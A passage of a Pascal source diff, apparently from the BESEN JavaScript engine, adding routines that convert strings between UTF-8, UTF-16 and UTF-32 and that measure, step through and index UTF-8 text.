u4c<=$3ffffff then begin + inc(j,5); + end else if u4c<=$7fffffff then begin + inc(j,6); +{$endif} + end else begin + inc(j,3); + end; + end; + SetLength(result,j); + j:=1; + for i:=0 to length(s)-1 do begin + u4c:=s[i]; + if u4c<=$7f then begin + result[j]:=ansichar(byte(u4c)); + inc(j); + end else if u4c<=$7ff then begin + result[j]:=ansichar(byte($c0 or ((u4c shr 6) and $1f))); + result[j+1]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,2); + end else if u4c<=$ffff then begin + result[j]:=ansichar(byte($e0 or ((u4c shr 12) and $0f))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+2]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,3); + end else if u4c<=$1fffff then begin + result[j]:=ansichar(byte($f0 or ((u4c shr 18) and $07))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+3]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,4); +{$ifndef strictutf8} + end else if u4c<=$3ffffff then begin + result[j]:=ansichar(byte($f8 or ((u4c shr 24) and $03))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 18) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+3]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+4]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,5); + end else if u4c<=$7fffffff then begin + result[j]:=ansichar(byte($fc or ((u4c shr 30) and $01))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 24) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 18) and $3f))); + result[j+3]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+4]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+5]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,6); +{$endif} + end else begin + u4c:=$fffd; + result[j]:=ansichar(byte($e0 or ((u4c shr 12) and $0f))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+2]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,3); + end; + end; +end; + +function BESENUTF8ToUTF32(const s:TBESENUTF8STRING):TBESENUTF32STRING; +var i,j:longint; + b:byte; +begin + j:=0; + i:=1; + while i<=length(s) do begin + b:=byte(s[i]); + if (b and $80)=0 then begin + inc(i); + inc(j); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + inc(i,2); + inc(j); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + inc(i,3); + inc(j); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + inc(i,4); + inc(j); +{$ifndef strictutf8} + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + inc(i,5); + inc(j); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + inc(i,6); + inc(j); +{$endif} + end else begin + inc(i); + inc(j); + end; + end; + SetLength(result,j); + if j=0 then begin + exit; + end; + j:=0; + i:=1; + while i<=length(s) do begin + b:=byte(s[i]); + if (b and $80)=0 then begin + result[j]:=b; + inc(i); + inc(j); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + result[j]:=((byte(s[i]) and $1f) shl 6) or (byte(s[i+1]) and $3f); + inc(i,2); + inc(j); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + result[j]:=((byte(s[i]) and $0f) shl 12) or ((byte(s[i+1]) and $3f) shl 6) or (byte(s[i+2]) and $3f); + inc(i,3); + inc(j); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + result[j]:=((byte(s[i]) and $07) shl 18) or ((byte(s[i+1]) and $3f) shl 12) or ((byte(s[i+2]) and $3f) shl 6) or (byte(s[i+3]) and $3f); + inc(i,4); + inc(j); +{$ifndef strictutf8} + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + result[j]:=((byte(s[i]) and $03) shl 24) or ((byte(s[i+1]) and $3f) shl 18) or ((byte(s[i+2]) and $3f) shl 12) or ((byte(s[i+3]) and $3f) shl 6) or (byte(s[i+4]) and $3f); + inc(i,5); + inc(j); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + result[j]:=((byte(s[i]) and $01) shl 30) or ((byte(s[i+1]) and $3f) shl 24) or ((byte(s[i+2]) and $3f) shl 18) or ((byte(s[i+3]) and $3f) shl 12) or ((byte(s[i+4]) and $3f) shl 6) or (byte(s[i+5]) and $3f); + inc(i,6); + inc(j); +{$endif} + end else begin + result[j]:=$fffd; + inc(i); + inc(j); + end; + end; +end; + +function BESENUTF8ToUTF16(const s:TBESENUTF8STRING):TBESENUTF16STRING; +var i,j:longint; + w:TBESENUTF32CHAR; + b:byte; +begin + result:=''; + i:=1; + j:=0; + while i<=length(s) do begin + b:=byte(s[i]); + if (b and $80)=0 then begin + w:=b; + inc(i); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + w:=((byte(s[i]) and $1f) shl 6) or (byte(s[i+1]) and $3f); + inc(i,2); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + w:=((byte(s[i]) and $0f) shl 12) or ((byte(s[i+1]) and $3f) shl 6) or (byte(s[i+2]) and $3f); + inc(i,3); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + w:=((byte(s[i]) and $07) shl 18) or ((byte(s[i+1]) and $3f) shl 12) or ((byte(s[i+2]) and $3f) shl 6) or (byte(s[i+3]) and $3f); + inc(i,4); +{$ifndef strictutf8} + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + w:=((byte(s[i]) and $03) shl 24) or ((byte(s[i+1]) and $3f) shl 18) or ((byte(s[i+2]) and $3f) shl 12) or ((byte(s[i+3]) and $3f) shl 6) or (byte(s[i+4]) and $3f); + inc(i,5); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + w:=((byte(s[i]) and $01) shl 30) or ((byte(s[i+1]) and $3f) shl 24) or ((byte(s[i+2]) and $3f) shl 18) or ((byte(s[i+3]) and $3f) shl 12) or ((byte(s[i+4]) and $3f) shl 6) or (byte(s[i+5]) and $3f); + inc(i,6); +{$endif} + end else begin + w:=$fffd; + inc(i); + end; + if w<=$d7ff then begin + inc(j); + end else if w<=$dfff then begin + inc(j); + end else if w<=$fffd then begin + inc(j); + end else if w<=$ffff then begin + inc(j); + end else if w<=$10ffff then begin + inc(j,2); + end else begin + inc(j); + end; + end; + SetLength(result,j); + i:=1; + j:=0; + while i<=length(s) do begin + b:=byte(s[i]); + if (b and $80)=0 then begin + w:=b; + inc(i); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + w:=((byte(s[i]) and $1f) shl 6) or (byte(s[i+1]) and $3f); + inc(i,2); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + w:=((byte(s[i]) and $0f) shl 12) or ((byte(s[i+1]) and $3f) shl 6) or (byte(s[i+2]) and $3f); + inc(i,3); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + w:=((byte(s[i]) and $07) shl 18) or ((byte(s[i+1]) and $3f) shl 12) or ((byte(s[i+2]) and $3f) shl 6) or (byte(s[i+3]) and $3f); + inc(i,4); +{$ifndef strictutf8} + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + w:=((byte(s[i]) and $03) shl 24) or ((byte(s[i+1]) and $3f) shl 18) or ((byte(s[i+2]) and $3f) shl 12) or ((byte(s[i+3]) and $3f) shl 6) or (byte(s[i+4]) and $3f); + inc(i,5); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + w:=((byte(s[i]) and $01) shl 30) or ((byte(s[i+1]) and $3f) shl 24) or ((byte(s[i+2]) and $3f) shl 18) or ((byte(s[i+3]) and $3f) shl 12) or ((byte(s[i+4]) and $3f) shl 6) or (byte(s[i+5]) and $3f); + inc(i,6); +{$endif} + end else begin + w:=$fffd; + inc(i); + end; + if w<=$d7ff then begin + inc(j); + result[j]:=widechar(word(w)); + end else if w<=$dfff then begin + inc(j); + result[j]:=#$fffd; + end else if w<=$fffd then begin + inc(j); + result[j]:=widechar(word(w)); + end else if w<=$ffff then begin + inc(j); + result[j]:=#$fffd; + end else if w<=$10ffff then begin + dec(w,$10000); + inc(j); + result[j]:=widechar(word((w shr 10) or $d800)); + inc(j); + result[j]:=widechar(word((w and $3ff) or $dc00)); + end else begin + inc(j); + result[j]:=#$fffd; + end; + end; +end; + +function BESENUTF16ToUTF8(const s:TBESENUTF16STRING):TBESENUTF8STRING; +var i,j:longint; + w:word; + u4c:TBESENUTF32CHAR; +begin + result:=''; + j:=0; + i:=1; + while i<=length(s) do begin + w:=word(s[i]); + if (w<=$d7ff) or (w>=$e000) then begin + u4c:=w; + inc(i); + end else if ((i+1)<=length(s)) and ((w>=$d800) and (w<=$dbff)) and ((word(s[i+1])>=$dc00) and (word(s[i+1])<=$dfff)) then begin + u4c:=(TBESENUTF32CHAR(TBESENUTF32CHAR(w and $3ff) shl 10) or TBESENUTF32CHAR(word(s[i+1]) and $3ff))+$10000; + inc(i,2); + end else begin + u4c:=$fffd; + inc(i); + end; + if u4c<=$7f then begin + inc(j); + end else if u4c<=$7ff then begin + inc(j,2); + end else if u4c<=$ffff then begin + inc(j,3); + end else if u4c<=$1fffff then begin + inc(j,4); +{$ifndef strictutf8} + end else if u4c<=$3ffffff then begin + inc(j,5); + end else if u4c<=$7fffffff then begin + inc(j,6); +{$endif} + end else begin + inc(j,3); + end; + end; + SetLength(result,j); + j:=1; + i:=1; + while i<=length(s) do begin + w:=word(s[i]); + if (w<=$d7ff) or (w>=$e000) then begin + u4c:=w; + inc(i); + end else if ((i+1)<=length(s)) and ((w>=$d800) and (w<=$dbff)) and ((word(s[i+1])>=$dc00) and (word(s[i+1])<=$dfff)) then begin + u4c:=(TBESENUTF32CHAR(TBESENUTF32CHAR(w and $3ff) shl 10) or TBESENUTF32CHAR(word(s[i+1]) and $3ff))+$10000; + inc(i,2); + end else begin + u4c:=$fffd; + inc(i); + end; + if u4c<=$7f then begin + result[j]:=ansichar(byte(u4c)); + inc(j); + end else if u4c<=$7ff then begin + result[j]:=ansichar(byte($c0 or ((u4c shr 6) and $1f))); + result[j+1]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,2); + end else if u4c<=$ffff then begin + result[j]:=ansichar(byte($e0 or ((u4c shr 12) and $0f))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+2]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,3); + end else if u4c<=$1fffff then begin + result[j]:=ansichar(byte($f0 or ((u4c shr 18) and $07))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+3]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,4); +{$ifndef strictutf8} + end else if u4c<=$3ffffff then begin + result[j]:=ansichar(byte($f8 or ((u4c shr 24) and $03))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 18) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+3]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+4]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,5); + end else if u4c<=$7fffffff then begin + result[j]:=ansichar(byte($fc or ((u4c shr 30) and $01))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 24) and $3f))); + result[j+2]:=ansichar(byte($80 or ((u4c shr 18) and $3f))); + result[j+3]:=ansichar(byte($80 or ((u4c shr 12) and $3f))); + result[j+4]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+5]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,6); +{$endif} + end else begin + u4c:=$fffd; + result[j]:=ansichar(byte($e0 or (u4c shr 12))); + result[j+1]:=ansichar(byte($80 or ((u4c shr 6) and $3f))); + result[j+2]:=ansichar(byte($80 or (u4c and $3f))); + inc(j,3); + end; + end; +end; +{$endif} + +function BESENUTF32ToUTF16(const s:TBESENUTF32STRING):TBESENUTF16STRING; +var i,j:longint; + w:TBESENUTF32CHAR; +begin + SetLength(result,length(s)*2); + j:=0; + for i:=0 to length(s)-1 do begin + w:=s[i]; + if w<=$d7ff then begin + inc(j); + result[j]:=widechar(word(w)); + end else if w<=$dfff then begin + inc(j); + result[j]:=#$fffd; + end else if w<=$fffd then begin + inc(j); + result[j]:=widechar(word(w)); + end else if w<=$ffff then begin + inc(j); + result[j]:=#$fffd; + end else if w<=$10ffff then begin + dec(w,$10000); + inc(j); + result[j]:=widechar(word((w shr 10) or $d800)); + inc(j); + result[j]:=widechar(word((w and $3ff) or $dc00)); + end else begin + inc(j); + result[j]:=#$fffd; + end; + end; + SetLength(result,j); +end; + +function BESENUTF32CHARToUTF16(w:TBESENUTF32CHAR):TBESENUTF16STRING; +begin + if w<=$d7ff then begin + result:=widechar(word(w)); + end else if w<=$dfff then begin + result:=#$fffd; + end else if w<=$fffd then begin + result:=widechar(word(w)); + end else if w<=$ffff then begin + result:=#$fffd; + end else if w<=$10ffff then begin + dec(w,$10000); + result:=widechar(word((w shr 10) or $d800)); + result:=result+widechar(word((w and $3ff) or $dc00)); + end else begin + result:=#$fffd; + end; +end; + +function BESENUTF16ToUTF32(const s:TBESENUTF16STRING):TBESENUTF32STRING; +var i,j:longint; + w:word; +begin + SetLength(result,length(s)); + j:=0; + i:=1; + while i<=length(s) do begin + w:=word(s[i]); + if (w<=$d7ff) or (w>=$e000) then begin + result[j]:=w; + inc(j); + inc(i); + end else if ((i+1)<=length(s)) and ((w>=$d800) and (w<=$dbff)) and ((word(s[i+1])>=$dc00) and (word(s[i+1])<=$dfff)) then begin + result[j]:=(TBESENUTF32CHAR(TBESENUTF32CHAR(w and $3ff) shl 10) or TBESENUTF32CHAR(word(s[i+1]) and $3ff))+$10000; + inc(j); + inc(i,2); + end else begin + result[j]:=$fffd; + inc(j); + inc(i); + end; + end; + SetLength(result,j); +end; + +{$ifndef BESENSingleStringType} +function BESENUTF32ToWIDESTRING(const s:TBESENUTF32STRING):widestring; +var i:longint; +begin + SetLength(result,length(s)); + for i:=0 to length(s)-1 do begin + result[i+1]:=widechar(word(s[i])); + end; +end; + +function BESENWIDESTRINGToUTF32(const s:widestring):TBESENUTF32STRING; +var i:longint; +begin + SetLength(result,length(s)); + for i:=1 to length(s) do begin + result[i-1]:=word(widechar(s[i])); + end; +end; + +function BESENUTF32ToSTRING(const s:TBESENUTF32STRING):TBESENANSISTRING; +var i:longint; +begin + SetLength(result,length(s)); + for i:=0 to length(s)-1 do begin + result[i+1]:=TBESENCHAR(byte(s[i])); + end; +end; + +function BESENSTRINGToUTF32(const s:TBESENANSISTRING):TBESENUTF32STRING; +var i:longint; +begin + SetLength(result,length(s)); + for i:=1 to length(s) do begin + result[i-1]:=byte(TBESENCHAR(s[i])); + end; +end; + +function BESENUTF32CharToUTF8(u4c:TBESENUTF32CHAR):TBESENUTF8STRING; +begin + if u4c<=$7f then begin + result:=ansichar(byte(u4c)); + end else if u4c<=$7ff then begin + result:=ansichar(byte($c0 or ((u4c shr 6) and $1f)))+ansichar(byte($80 or (u4c and $3f))); + end else if u4c<=$ffff then begin + result:=ansichar(byte($e0 or ((u4c shr 12) and $0f)))+ansichar(byte($80 or ((u4c shr 6) and $3f)))+ansichar(byte($80 or (u4c and $3f))); + end else if u4c<=$1fffff then begin + result:=ansichar(byte($f0 or ((u4c shr 18) and $07)))+ansichar(byte($80 or ((u4c shr 12) and $3f)))+ansichar(byte($80 or ((u4c shr 6) and $3f)))+ansichar(byte($80 or (u4c and $3f))); +{$ifndef strictutf8} + end else if u4c<=$3ffffff then begin + result:=ansichar(byte($f8 or ((u4c shr 24) and $03)))+ansichar(byte($80 or ((u4c shr 18) and $3f)))+ansichar(byte($80 or ((u4c shr 12) and $3f)))+ansichar(byte($80 or ((u4c shr 6) and $3f)))+ansichar(byte($80 or (u4c and $3f))); + end else if u4c<=$7fffffff then begin + result:=ansichar(byte($fc or ((u4c shr 30) and $01)))+ansichar(byte($80 or ((u4c shr 24) and $3f)))+ansichar(byte($80 or ((u4c shr 18) and $3f)))+ansichar(byte($80 or ((u4c shr 12) and $3f)))+ansichar(byte($80 or ((u4c shr 6) and $3f)))+ansichar(byte($80 or (u4c and $3f))); +{$endif} + end else begin + u4c:=$fffd; + result:=ansichar(byte($e0 or ((u4c shr 12) and $0f)))+ansichar(byte($80 or ((u4c shr 6) and $3f)))+ansichar(byte($80 or (u4c and $3f))); + end; +end; + +procedure BESENUTF8Inc(var s:TBESENUTF8STRING;var i:longint); +var b:byte; +begin + if (i>=1) and (i<=length(s)) then begin + b:=byte(s[i]); + if (b and $80)=0 then begin + inc(i); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + inc(i,2); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + inc(i,3); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + inc(i,4); + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + inc(i,5); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + inc(i,6); + end else begin + inc(i); + end; + end; +end; + +procedure BESENUTF8Dec(var s:TBESENUTF8STRING;var i:longint); +begin + if (i>=1) and (i<=(length(s)+1)) then begin + dec(i); + while i>0 do begin + if byte(s[i]) in [$80..$bf] then begin + dec(i); + end else begin + break; + end; + end; + end; +end; + +procedure BESENUTF8Delete(var s:TBESENUTF8STRING;i:longint); +begin + if (i>=1) and (i<=length(s)) then begin + delete(s,i,1); + while (i>=1) and (i<=length(s)+1) do begin + if byte(s[i]) in [$80..$bf] then begin + delete(s,i,1); + end else begin + break; + end; + end; + end; +end; + +function BESENUTF8Length(const s:TBESENUTF8STRING):longint; +var b:byte; + i,j:longint; +begin + result:=0; + i:=1; + j:=length(s); + while i<=j do begin + b:=byte(s[i]); + if (b and $80)=0 then begin + inc(i); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + inc(i,2); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + inc(i,3); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + inc(i,4); + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + inc(i,5); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + inc(i,6); + end else begin + inc(i); + end; + inc(result); + end; +end; + +function BESENUTF8GetRawPos(const s:TBESENUTF8STRING;Index:longint):longint; +var b:byte; + i,j,k:longint; +begin + result:=0; + k:=1; + i:=1; + j:=length(s); + while i<=j do begin + if k=Index then begin + result:=i; + exit; + end; + b:=byte(s[i]); + if (b and $80)=0 then begin + inc(i); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + inc(i,2); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + inc(i,3); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + inc(i,4); + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + inc(i,5); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + inc(i,6); + end else begin + inc(i); + end; + inc(k); + end; +end; + +function BESENUTF8GetChar(var s:TBESENUTF8STRING;Index:longint):TBESENUTF32CHAR; +var b,i,j:longint; +begin + i:=1; + j:=0; + while i<=Index do begin + b:=byte(s[i]); + if (b and $80)=0 then begin + result:=b; + inc(i); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + result:=((byte(s[i]) and $1f) shl 6) or (byte(s[i+1]) and $3f); + inc(i,2); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + result:=((byte(s[i]) and $0f) shl 12) or ((byte(s[i+1]) and $3f) shl 6) or (byte(s[i+2]) and $3f); + inc(i,3); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + result:=((byte(s[i]) and $07) shl 18) or ((byte(s[i+1]) and $3f) shl 12) or ((byte(s[i+2]) and $3f) shl 6) or (byte(s[i+3]) and $3f); + inc(i,4); + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + result:=((byte(s[i]) and $03) shl 24) or ((byte(s[i+1]) and $3f) shl 18) or ((byte(s[i+2]) and $3f) shl 12) or ((byte(s[i+3]) and $3f) shl 6) or (byte(s[i+4]) and $3f); + inc(i,5); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + result:=((byte(s[i]) and $01) shl 30) or ((byte(s[i+1]) and $3f) shl 24) or ((byte(s[i+2]) and $3f) shl 18) or ((byte(s[i+3]) and $3f) shl 12) or ((byte(s[i+4]) and $3f) shl 6) or (byte(s[i+5]) and $3f); + inc(i,6); + end else begin + result:=$fffd; + inc(i); + end; + inc(j); + if j=Index then begin + exit; + end; + end; + result:=0; +end; + +function BESENUTF8GetRawChar(var s:TBESENUTF8STRING;i:longint):TBESENUTF32CHAR; +var b:byte; +begin + if (i<1) or (i>length(s)) then begin + result:=0; + inc(i); + exit; + end; + b:=byte(s[i]); + if (b and $80)=0 then begin + result:=b; + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + result:=((byte(s[i]) and $1f) shl 6) or (byte(s[i+1]) and $3f); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + result:=((byte(s[i]) and $0f) shl 12) or ((byte(s[i+1]) and $3f) shl 6) or (byte(s[i+2]) and $3f); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + result:=((byte(s[i]) and $07) shl 18) or ((byte(s[i+1]) and $3f) shl 12) or ((byte(s[i+2]) and $3f) shl 6) or (byte(s[i+3]) and $3f); + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + result:=((byte(s[i]) and $03) shl 24) or ((byte(s[i+1]) and $3f) shl 18) or ((byte(s[i+2]) and $3f) shl 12) or ((byte(s[i+3]) and $3f) shl 6) or (byte(s[i+4]) and $3f); + end else if ((i+5)<=length(s)) and ((b and $fe)=$fc) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) and ((byte(s[i+5]) and $c0)=$80) then begin + result:=((byte(s[i]) and $01) shl 30) or ((byte(s[i+1]) and $3f) shl 24) or ((byte(s[i+2]) and $3f) shl 18) or ((byte(s[i+3]) and $3f) shl 12) or ((byte(s[i+4]) and $3f) shl 6) or (byte(s[i+5]) and $3f); + end else begin + result:=$fffd; + end; +end; + +function BESENUTF8GetRawCharAndInc(var s:TBESENUTF8STRING;var i:longint):TBESENUTF32CHAR; +var b:byte; +begin + if (i<1) or (i>length(s)) then begin + result:=0; + inc(i); + exit; + end; + b:=byte(s[i]); + if (b and $80)=0 then begin + result:=b; + inc(i); + end else if ((i+1)<=length(s)) and ((b and $e0)=$c0) and ((byte(s[i+1]) and $c0)=$80) then begin + result:=((byte(s[i]) and $1f) shl 6) or (byte(s[i+1]) and $3f); + inc(i,2); + end else if ((i+2)<=length(s)) and ((b and $f0)=$e0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) then begin + result:=((byte(s[i]) and $0f) shl 12) or ((byte(s[i+1]) and $3f) shl 6) or (byte(s[i+2]) and $3f); + inc(i,3); + end else if ((i+3)<=length(s)) and ((b and $f8)=$f0) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) then begin + result:=((byte(s[i]) and $07) shl 18) or ((byte(s[i+1]) and $3f) shl 12) or ((byte(s[i+2]) and $3f) shl 6) or (byte(s[i+3]) and $3f); + inc(i,4); +{$ifndef strictutf8} + end else if ((i+4)<=length(s)) and ((b and $fc)=$f8) and ((byte(s[i+1]) and $c0)=$80) and ((byte(s[i+2]) and $c0)=$80) and ((byte(s[i+3]) and $c0)=$80) and ((byte(s[i+4]) and $c0)=$80) then begin + 